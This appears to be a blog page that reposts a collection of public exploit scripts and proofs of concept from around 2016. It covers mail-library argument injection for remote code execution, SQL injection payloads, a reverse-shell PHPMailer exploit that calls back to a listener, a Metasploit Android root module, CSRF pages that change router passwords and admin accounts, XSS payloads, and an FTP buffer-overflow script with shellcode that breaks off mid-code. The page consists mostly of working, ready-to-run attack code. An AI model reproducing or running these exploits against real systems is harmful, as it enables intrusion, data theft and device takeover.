Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863292515

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

<?php

/*

PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)

Discovered/Coded by:

Dawid Golunski (@dawid_golunski)
https://legalhackers.com

Full Advisory URL:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html


A simple PoC (working on Sendmail MTA)

It will inject the following parameters to sendmail command:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == [some"@email.com]


which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
The resulting file will contain the payload passed in the body of the msg:

09607 <<< --b1_cb4566aa51be9f090d9419163e492306
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<< 
09607 <<< <?php phpinfo(); ?>
09607 <<< 
09607 <<< 
09607 <<< 
09607 <<< --b1_cb4566aa51be9f090d9419163e492306--


See the full advisory URL for details.

*/


// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form

$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
$msg_body  = "<?php phpinfo(); ?>";

// ------------------


// mail() param injection via the vulnerability in PHPMailer

require_once('class.phpmailer.php');
$mail = new PHPMailer(); // defaults to using php "mail()"

$mail->SetFrom($email_from, 'Client Name');

$address = "customer_feedback@company-X.com";
$mail->AddAddress($address, "Some User");

$mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
$mail->MsgHTML($msg_body);

if(!$mail->Send()) {
  echo "Mailer Error: " . $mail->ErrorInfo;
} else {
  echo "Message sent!\n";
}
    
?>
            
#!/usr/bin/env python
#
#
# Serva 3.0.0 HTTP Server Module Remote Denial of Service Exploit
#
#
# Vendor: Patrick Masotta
# Product web page: http://www.vercot.com
# Affected version: 3.0.0.1001 (Community, Pro, 32/64bit)
#
# Summary: Serva is a light (~3 MB), yet powerful Microsoft Windows application.
# It was conceived mainly as an Automated PXE Server Solution Accelerator. It bundles
# on a single exe all of the underlying server protocols and services required by the
# most complex PXE network boot/install scenarios simultaneously delivering Windows and
# non-Windows assets to BIOS and UEFI based targets.
#
# Desc: The vulnerability is caused by the HTML (httpd) module and how it handles TCP requests.
# This can be exploited to cause a denial of service attack resulting in application crash.
#
# ----------------------------------------------------------------------------
#
# (c1c.4bc): C++ EH exception - code e06d7363 (first chance)
# (c1c.4bc): C++ EH exception - code e06d7363 (!!! second chance !!!)
# *** WARNING: Unable to verify checksum for C:\Users\lqwrm\Desktop\Serva_Community_32_v3.0.0\Serva32.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:\Users\lqwrm\Desktop\Serva_Community_32_v3.0.0\Serva32.exe
# eax=03127510 ebx=03127670 ecx=00000003 edx=00000000 esi=03127670 edi=031276a0
# eip=74a1c54f esp=03127510 ebp=03127560 iopl=0         nv up ei pl nz ac po nc
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
# KERNELBASE!RaiseException+0x58:
# 74a1c54f c9              leave
# 0:013> kb
# # ChildEBP RetAddr  Args to Child              
# 00 03127560 004abaaf e06d7363 00000001 00000003 KERNELBASE!RaiseException+0x58
# WARNING: Stack unwind information not available. Following frames may be wrong.
# 01 03127598 004cc909 031275b8 005e13e8 6ca23755 Serva32+0xabaaf
# 02 03127608 004085d3 0211ecf8 03127670 ffffffff Serva32+0xcc909
# 03 0312761c 004089a5 031276a0 fffffffd 00000004 Serva32+0x85d3
# 04 0312764c 00408f01 03127670 fffffffd 00000004 Serva32+0x89a5
# 05 03127698 00413b38 00000000 0040007a 00000000 Serva32+0x8f01
# 06 031277d8 00000000 00000000 00000000 00000000 Serva32+0x13b38
#
# ----------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5378
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5378.php
#
#
# 17.11.2016
#

import sys,socket

if len(sys.argv) < 3:

	print '\nUsage: ' + sys.argv[0] + ' <target> <port>\n'
	print 'Example: ' + sys.argv[0] + ' 172.19.0.214 80\n'
	sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send('z')
s.close
            
# Exploit Title: Simply Poll 1.4.1 Plugin for WordPress ­ SQL Injection
# Date: 21/12/2016
# Exploit Author: TAD GROUP
# Vendor Homepage: https://wordpress.org/plugins/simply-poll/
# Software Link: https://wordpress.org/plugins/simply-poll/
# Contact: info[at]tad.group
# Website: https://tad.group
# Category: Web Application Exploits

1 - Description

An unescaped parameter was found in Simply Poll version 1.4.1. ( WP
plugin ). An attacker can exploit this vulnerability to read from the
database.
The POST parameter 'pollid' is vulnerable.


2. Proof of Concept

  sqlmap -u "http://example.com/wp-admin/admin-ajax.php"
--data="action=spAjaxResults&pollid=2" --dump -T wp_users -D wordpress
--threads=10 --random-agent --dbms=mysql --level=5 --risk=3

Parameter: pollid (POST)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: action=spAjaxResults&pollid=2 AND 6034=6034

     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind
     Payload: action=spAjaxResults&pollid=2 AND SLEEP(5)

     Type: UNION query
     Title: Generic UNION query (NULL) - 7 columns
     Payload: action=spAjaxResults&pollid=-7159 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(0x71706a7171,0x55746570525a68726d4a634844657
9564f524752646c786a5451775272645a6e734b766657534c44,0x7162627171),NULL--
CfNO


3. Attack outcome:

An attacker can read arbitrary data from the database. If the webserver
is misconfigured, read & write access the filesystem may be possible.


4 Impact:

Critical


5. Affected versions:

<= 1.4.1

6. Disclosure Timeline:

21-Dec-2016 ­ found the vulnerability
21-Dec-2016 ­ informed the developer
28-Dec-2016 ­ release date of this security advisory

Not fixed at the date of submitting that exploit.
            
<?php
 
/*
 
SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
 
Discovered/Coded by:
 
Dawid Golunski
https://legalhackers.com
 
Full Advisory URL:
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html

Exploit code URL:
https://legalhackers.com/exploits/CVE-2016-10074/SwiftMailer_PoC_RCE_Exploit.txt

Follow the feed for updates:

https://twitter.com/dawid_golunski

 
A simple PoC (working on Sendmail MTA)
 
It will inject the following parameters to sendmail command:
 
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == ["@email.com]


which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
Note /var/www/cache must be writable by www-data web user.

The resulting file will contain the payload passed in the body of the msg:
 
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<< 
09607 <<< <?php phpinfo(); ?>
09607 <<< 
09607 <<< 
09607 <<< 
 
 
See the full advisory URL for the exploit details.
 
*/
 
 
// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form with sender field
 
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com';

// ------------------
 
// mail() param injection via the vulnerability in SwiftMailer

require_once 'lib/swift_required.php';
// Mail transport
$transport = Swift_MailTransport::newInstance();
// Create the Mailer using your created Transport
$mailer = Swift_Mailer::newInstance($transport);

// Create a message
$message = Swift_Message::newInstance('Swift PoC exploit')
  ->setFrom(array($email_from => 'PoC Exploit Payload'))
  ->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name'))
  ->setBody('Here is the message itself')
  ;
// Send the message with PoC payload in 'from' field
$result = $mailer->send($message);

?>
            
# Exploit Title: Sqli Blind Timebased on Joomla + Viertuemart + aweb-cartwatching-system/aweb-cartwatching <= 2.6.0
# Date: 28-12-2016
# Software Link: http://awebsupport.com/products/aweb-cartwatching-system
# Exploit Author: Javi Espejo(qemm)
# Contact: http://twitter.com/javiespejo
# Website: http://raipson.com 
# CVE: REQUESTED
# Category: webapps
 
1. Description
   
Any remote user can access to the victim server trough a SQLI Blind Injection on a component of aweb_cartwatching_system and aweb_cart_autosave
This the code that has the parameters with the parameters not sanitized 

2. Proof of Concept

option=com_virtuemart&view=categorysearch' RLIKE (SELECT * FROM (SELECT(SLEEP(5)))sgjA) AND 'jHwz'='jHwz&task=smartSearch and it works and I can access to every database on the client system launching other queries.
   
3. Solution:
   
Update to version 2.6.1 from the update center of joomla.
The Joomla vel publish the vulnerability on
Answer from Joomla VEL "We have added it to the VEL here: https://vel.joomla.org/resolved/1897-aweb-cart-watching-system-2-6-0 
http://awebsupport.com/ 
            
"""
# Exploit Title: PHPMailer Exploit v1.0
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Version: PHPMailer < 5.2.18
# Tested on: Arch Linux
# CVE : CVE 2016-10033

Description:
Exploiting PHPMail with back connection (reverse shell) from the target

Usage:
1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033
2 - Config your IP for reverse shell on payload variable
4 - Open nc listener in one terminal: $ nc -lnvp <your ip>
3 - Open other terminal and run the exploit: python3 anarcoder.py

Video PoC: https://www.youtube.com/watch?v=DXeZxKr-qsU

Full Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
"""

from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lh

os.system('clear')
print("\n")
print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")
print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")

target = 'http://localhost:8080'
backdoor = '/backdoor.php'

payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.0.12\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit',
        'name': payload,
        'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/www/backdoor.php server\" @protonmail.com',
        'message': 'Pwned'}

m = MultipartEncoder(fields=fields,
                     boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')

headers={'User-Agent': 'curl/7.47.0',
         'Content-Type': m.content_type}

proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}


print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),
                  headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:
    print('[+]  ExPLoITeD ' + target)
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Common

  def initialize(info={})
    super( update_info( info, {
        'Name'           => "Android get_user/put_user Exploit",
        'Description'    => %q{
            This module exploits a missing check in the get_user and put_user API functions
            in the linux kernel before 3.5.5. The missing checks on these functions
            allow an unprivileged user to read and write kernel memory.
                This exploit first reads the kernel memory to identify the commit_creds and
            ptmx_fops address, then uses the write primitive to execute shellcode as uid 0.
            The exploit was first discovered in the wild in the vroot rooting application.
        },
        'License'        => MSF_LICENSE,
        'Author'         => [
          'fi01',        # libget_user_exploit / libput_user_exploit
          'cubeundcube', # kallsyms_in_memory
          'timwr',       # Metasploit module
        ],
        'References'     =>
        [
          [ 'CVE', '2013-6282' ],
          [ 'URL', 'http://forum.xda-developers.com/showthread.php?t=2434453' ],
          [ 'URL', 'https://github.com/fi01/libget_user_exploit' ],
          [ 'URL', 'http://forum.xda-developers.com/showthread.php?t=2565758' ],
        ],
        'DisclosureDate' => "Sep 06 2013",
        'SessionTypes'   => [ 'meterpreter' ],
        "Platform"       => [ "android", "linux" ],
        'Targets'        => [[ 'Automatic', { }]],
        'Payload'        => { 'Space'    => 2048, },
        'DefaultOptions' =>
        {
          'WfsDelay'     => 120,
          'PAYLOAD'      => 'linux/armle/mettle/reverse_tcp',
        },
        'DefaultTarget' => 0,
      }
    ))
  end

  def exploit
    local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2013-6282.so" )
    exploit_data = File.read(local_file, {:mode => 'rb'})

    space = payload_space
    payload_encoded = payload.encoded

    # Substitute the exploit shellcode with our own
    exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))

    workingdir = session.fs.dir.getwd
    remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
    write_file(remote_file, exploit_data)

    print_status("Loading exploit library #{remote_file}")
    session.core.load_library(
        'LibraryFilePath' => local_file,
        'TargetFilePath'  => remote_file,
        'UploadLibrary'   => false,
        'Extension'       => false,
        'SaveToDisk'      => false
    )
    print_status("Loaded library #{remote_file}, deleting")
    session.fs.file.rm(remote_file)
    print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
  end

end
            
# Exploit Title: WordPress Templatic <= 2.3.6 Tevolution File Upload Vulnerability
# Date: 30-12-2016
# Software Link: Permium plugin
# Vendor Homepage: https://templatic.com/wordpress-plugins/tevolution
# Exploit Author: r3m1ck
# Website: https://www.r3m1ck.us/
# Category: webapps
# Google Dork: inurl:"wp-content/plugins/Tevolution/"

1. Description

Wordpress Slider Templatic Tevolution <= 2.3.6 suffers from file upload vulnerability.
Tevolution is not available for sale, it comes bundled with certain premium themes from templatic.

2. Proof of Concept

curl -k -X POST -F "file=@./ina.txt" http://VICTIM/wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php

3. Uploaded file location:

Because this vulnerability plugin bundled with some premium themes from templatic, the location will be depends on the themes' name.
ex:
http://VICTIM/wp-content/themes/Directory/images/tmp/ina.txt
            

Dell SonicWALL Global Management System GMS 8.1 Blind SQL Injection


Vendor: Dell Inc.
Product web page: https://www.sonicwall.com/products/sonicwall-gms/
Affected version: 8.1
                  8.0 SP1 Build 8048.1410
                  Flow Server Virtual Appliance

Fixed in: 8.2 (VR-2016-01-C0V)

Summary: Provide your organization, distributed enterprise or managed
service offering with an intuitive, powerful way to rapidly deploy and
centrally manage SonicWall solutions, with SonicWall GMS. Get more value
from your firewall, secure remote access, anti-spam, and backup and recovery
solutions with enhanced network security monitoring and robust network
security reporting. By deploying GMS in an enterprise, you can minimize
administrative overhead by streamlining security appliance deployment
and policy management.

Desc: Dell SonicWALL GMS suffers from multiple SQL Injection vulnerabilities.
Input passed via the GET parameters 'searchBySonicwall', 'firstChangeOrderID',
'secondChangeOrderID' and 'coDomainID' is not properly sanitised before being
returned to the user or used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.

Tested on: SonicWALL
           MySQL/5.0.96-community-nt
           Apache-Coyote/1.1
           Apache Tomcat 6.0.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5388
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5388.php

Vendor: https://support.sonicwall.com/product-notification/215257?productName=SonicWALL%20GMS


26.01.2016

--


Blind SQL Injection via several parameters:

- searchBySonicwall (GET)
- coDomainID (GET)
- firstChangeOrderID (GET)
- secondChangeOrderID (GET)


PoC:

#1

GET /sgms/TaskViewServlet?page=taskView&level=1&node_id=null&screenid=15200&unused=&help_url=&node_name=null&unitType=0&searchBySonicwall=null'%2b(select*from(select(sleep(6)))a)%2b' HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
Referer: http://127.0.0.1/sgms/content.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=DF100D251227D2BCF4DE79779C0B57E3; JSESSIONID=36E7B71D9E7367E56E005E279BCBECED; SSOSESSIONID=DF100D251227D2BCF4DE79779C0B57E3
Connection: close


#2

GET /sgms/Logs?page=logView&searchByCO=Workflow%20Change%20Order%20Example&coDomainID=DMN0000000000000000000000001'%2b(select*from(select(sleep(6)))a)%2b'&level=1&node_id=null&screenid=15150&unused=&help_url=&node_name=null&unitType=0&searchBySonicwall=null HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
Referer: http://127.0.0.1/sgms/content.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=DF100D251227D2BCF4DE79779C0B57E3; JSESSIONID=36E7B71D9E7367E56E005E279BCBECED; SSOSESSIONID=DF100D251227D2BCF4DE79779C0B57E3
Connection: close


#3

GET /sgms/workflow?page=fetchCompareScreens&firstChangeOrderID=CHO14532479280350040102377D2'%2b(select*from(select(sleep(6)))a)%2b'&secondChangeOrderID=CHO14520472477130040102377D2&_dc=1453805798333&node=root HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: */*
Referer: http://127.0.0.1/sgms/viewdiff.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=DF100D251227D2BCF4DE79779C0B57E3; JSESSIONID=36E7B71D9E7367E56E005E279BCBECED; SSOSESSIONID=DF100D251227D2BCF4DE79779C0B57E3
Connection: close


#4

GET /sgms/workflow?page=fetchCompareScreens&firstChangeOrderID=CHO14532479280350040102377D2&secondChangeOrderID=CHO14520472477130040102377D2'%2b(select*from(select(sleep(6)))a)%2b'&_dc=1453805798333&node=root HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: */*
Referer: http://127.0.0.1/sgms/viewdiff.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=DF100D251227D2BCF4DE79779C0B57E3; JSESSIONID=36E7B71D9E7367E56E005E279BCBECED; SSOSESSIONID=DF100D251227D2BCF4DE79779C0B57E3
Connection: close
            
<?php
 
/*
 
Zend Framework < 2.4.11    Remote Code Execution (CVE-2016-10034)
zend-mail < 2.4.11 
zend-mail < 2.7.2 
 
Discovered/Coded by:
 
Dawid Golunski
https://legalhackers.com
 
Full Advisory URL:
https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034.html

Video PoC
https://legalhackers.com/videos/ZendFramework-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10034-PoC.html


Follow the feed for updates:

https://twitter.com/dawid_golunski

 
A simple PoC (working on Sendmail MTA)
 
It will inject the following parameters to sendmail command:
 
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-r]
Arg no. 4 == [attacker\]
Arg no. 5 == [-oQ/tmp/]
Arg no. 6 == [-X/var/www/cache/phpcode.php]
Arg no. 7 == ["@email.com]



which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
Note /var/www/cache must be writable by www-data web user.

The resulting file will contain the payload passed in the body of the msg:
 
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<< 
09607 <<< <?php phpinfo(); ?>
09607 <<< 
09607 <<< 
09607 <<< 
 
 
See the full advisory URL for the exploit details.
 
*/
 
 
// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form with sender field
 
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com';
// encoded phpinfo() php code
$msg_body = base64_decode("PD9waHAgcGhwaW5mbygpOyA/Pg==");



// ------------------
 
// mail() param injection via the vulnerability in zend-mail


chdir(dirname(__DIR__));
include 'vendor/Zend/Loader/AutoloaderFactory.php';

Zend\Loader\AutoloaderFactory::factory(array(
        'Zend\Loader\StandardAutoloader' => array(
                'autoregister_zf' => true
        )
));

Zend\Mvc\Application::init(require 'config/application.php')->run();

$message        = new \Zend\Mail\Message();

$message->setBody($msg_body);
$message->setFrom($email_from, 'Attacker');
$message->addTo('support@localhost', 'Support');
$message->setSubject('Zend PoC');

$transport  = new \Zend\Mail\Transport\Sendmail();
$transport->send($message);

?>
            
Dell SonicWALL Secure Mobile Access SMA 8.1 XSS And WAF CSRF


Vendor: Dell Inc.
Product web page: https://www.sonicwall.com/products/secure-mobile-access/
Affected version: 8.1 (SSL-VPN)

Summary: Keep up with the demands of today’s remote workforce. Enable secure
mobile access to critical apps and data without compromising security. Choose
from a variety of scalable secure mobile access (SMA) appliances and intuitive
Mobile Connect apps to fit every size business and budget.

Desc: SonicWALL SMA suffers from a XSS issue due to a failure to properly sanitize
user-supplied input to several parameters. Attackers can exploit this weakness
to execute arbitrary HTML and script code in a user's browser session. The WAF was
bypassed via form-based CSRF.

Tested on: SonicWALL SSL-VPN Web Server


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5392
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5392.php

Firmware fixed: 8.1.0.3
Issue ID: 172692
http://documents.software.dell.com/sonicwall-sma-100-series/8.1.0.3/release-notes/resolved-issues?ParentProduct=869



26.01.2016

--


Reflected XSS via protocol parameter (GET):
-------------------------------------------

https://127.0.0.1/cgi-bin/ftplauncher?protocol=sftp:</script><img%20src=a%20onerror=confirm(1)>&bmId=55


XSS via arbitrary parameter (GET):
----------------------------------

https://127.0.0.1/cgi-bin/handleWAFRedirect?hdl=VqjLncColvAAAF4QB2YAAAAT&<script>alert(2)</script>=zsl


XSS via REMOTEPATH parameter (GET):
-----------------------------------

https://127.0.0.1/cgi-bin/soniclauncher?REMOTEPATH=//servername/share/</script><img%20src=a%20onerror=confirm(3)>&bmId=59


WAF Cross-Site Request Forgery PoC:
-----------------------------------

POST /cgi-bin/editBookmark HTTP/1.1
Host: 127.0.0.1

bmName=%2522%253e%253c%2573%2563%2572%2569%2570%2574%253e%2561%256c%2565%2572%2574%2528%2533%2529%253c%252f%2573%2563%2572%2569%2570%2574%253e%250a&host=2&description=3&tabs=4&service=HTTP&screenSize=4&screenSizeHtml5=4&colorSize=3&macAddr=&wolTime=90&apppath=&folder=&appcmdline=&tsfarmserverlist=&langsel=1&redirectclipboard=on&displayconnectionbar=on&autoreconnection=on&bitmapcache=on&themes=on&rdpCompression=on&audiomode=3&rdpExperience=1&rdpServerAuthFailAction=2&charset=UTF-8&sshKeyFile=&defaultWindowSize=1&kexAlgoList=0%2C1%2C2&cipherAlgoList=&hmacAlgoList=&citrixWindowSize=1&citrixWindowWidth=0&citrixWindowHeight=0&citrixWindowPercentage=0&citrixLaunchMethod=Auto&forceInstalledCheckbox=on&icaAddr=&vncEncoding=0&vncCompression=0&vncCursorShapeUpdates=0&vncUseCopyrect=on&vncRestrictedColors=on&vncShareDesktop=on&MC_App=inherit&MC_Copy=inherit&MC_Print=inherit&MC_Offline=inherit&name=1%22+javascript%3Aconfirm(251)%3B&type=user&owner=zslab&cmd=edit&parentBmId=0&ownerdomain=ZSLAB&serviceManualConfigList=undefined&wantBmData=true&swcctn=1NcP8JhUY10emue9YQpON1p2c%3D6P0c9P&ok=OK
            
# Exploit Title: CSRF XFINITY Gateway product Technicolor(previously Cisco) DPC3941T
# Date: 09/08/2016
# Exploit Author: Ayushman Dutta
# Version:  dpc3941-P20-18-v303r20421733-160413a-CMCST
# CVE : CVE-2016-7454

The Device DPC3941T is vulnerable to CSRF and has no security on the entire
admin panel for it.
Some of the links are at:

<IP Address>/actionHandler/ajax_remote_management.php
<IP Address>/actionHandler/ajaxSet_wireless_network_configuration_edit.php
<IP Address>/actionHandler/ajax_network_diagnostic_tools.php
<IP Address>/actionHandler/ajax_at_a_glance.php

A simple HTML page with javascript on which the attacker lures the victim
can be used to change state in the application.

<html>
<head>
<title>
Lets CSRF Xfinity to change Wifi Password
</title>
</head>
<script>
function jsonreq() {
var json_upload = "configInfo=" + JSON.stringify({"radio_enable":"true",
"network_name":"MyName", "wireless_mode":"a,n,ac",
"security":"WPAWPA2_PSK_TKIPAES", "channel_automatic":"true",
"channel_number":"40", "network_password":"password",
"broadcastSSID":"true", "enableWMM":"true", "ssid_number":"1"});
var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.open("POST","
http://10.0.0.1/actionHandler/ajaxSet_wireless_network_configuration_edit.php",
true);
xmlhttp.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
xmlhttp.send(json_upload);
}
jsonreq();
</script>
</html>
            
Title: D-Link DI-524 - Cross-Site-Request-Forgery Vulnerability
Credit: Felipe Soares de Souza
Date: 09/12/2016
Vendor: D-Link
Product: D-Link DI-524 Wireless 150
Product link: https://dlink.com.br/produto/di-524150
Version: Firmware 9.01


1- Reboot the device
	<html>
		<head>
			<title>CSRF - Reboot the device</title>
		</head>
		<body>
			<iframe width="1" height="1" src="http://192.168.0.1/cgi-bin/dial?rc=@&A=H&M=0&T=2000&rd=status"> </iframe>
		</body>
	</html>


2- Change admin account

	<html>
		<head>
			<title>CSRF - Change admin account</title>
		</head>
		<body>
			<form method="POST" action="http://192.168.1.1/cgi-bin/pass">
				<input type="hidden" name="rc" value="@atbox">
				<input type="hidden" name="Pa" value="attacker">
				<input type="hidden" name="p1" value="attacker">
			</form>

			<script type="text/javascript">
				document.forms[0].submit();
			</script>
		</body>
	</html>
            
#!/usr/bin/python
#
# Exploit Title: IDA 6.10.1.1527 FTP SEH Universal exploit.
# Exploit Author: Fady Mohamed Osman (@fady_osman)
# Exploit-db : http://www.exploit-db.com/author/?a=2986
# Youtube : https://www.youtube.com/user/cutehack3r
# Date: Jan 2, 2017
# Vendor Homepage: http://westbyte.com/
# Software Link: http://westbyte.com/index.phtml?page=support&tmp=1&lng=English&product=Internet%20Download%20Accelerator.
# Version: 6.10.1.1527
# Tested on: IDA 6.10.1.1527 Free Version - Windows 7 SP1 - Windows 10.
# --------------
# Internet download accelerator suffers from a BOF when an FTP Download of file with
# long name fails.
# --------------
# To Exploit this issue:
# 1- Run HTTP server that will redirect to the FTP file with long name.
# 2- The ftp server will answer to the commands sent then will open a data connection.
# 3- The script will send an empty file list and close the connection to trigger the BOF condition.
# 5- Happy new year :D.

import SocketServer
import threading


# IP to listen to, needed to construct PASV response so 0.0.0.0 is not gonna work.
ip = "192.168.1.100"
ipParts = ip.split(".")
PasvResp = "("+ ipParts[0]+ "," + ipParts[1]+ "," + ipParts[2] + "," + ipParts[3] + ",151,130)"
# Run Calc.exe
buf=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")





class HTTPHandler(SocketServer.BaseRequestHandler):
    """
    The request handler class for our HTTP server.

    This is just so we don't have to provide a suspicious FTP link with long name.
    """

    def handle(self):
        # self.request is the TCP socket connected to the client
        self.data = self.request.recv(1024).strip()
        print "[*] Recieved HTTP Request"
        print "[*] Sending Redirction To FTP"
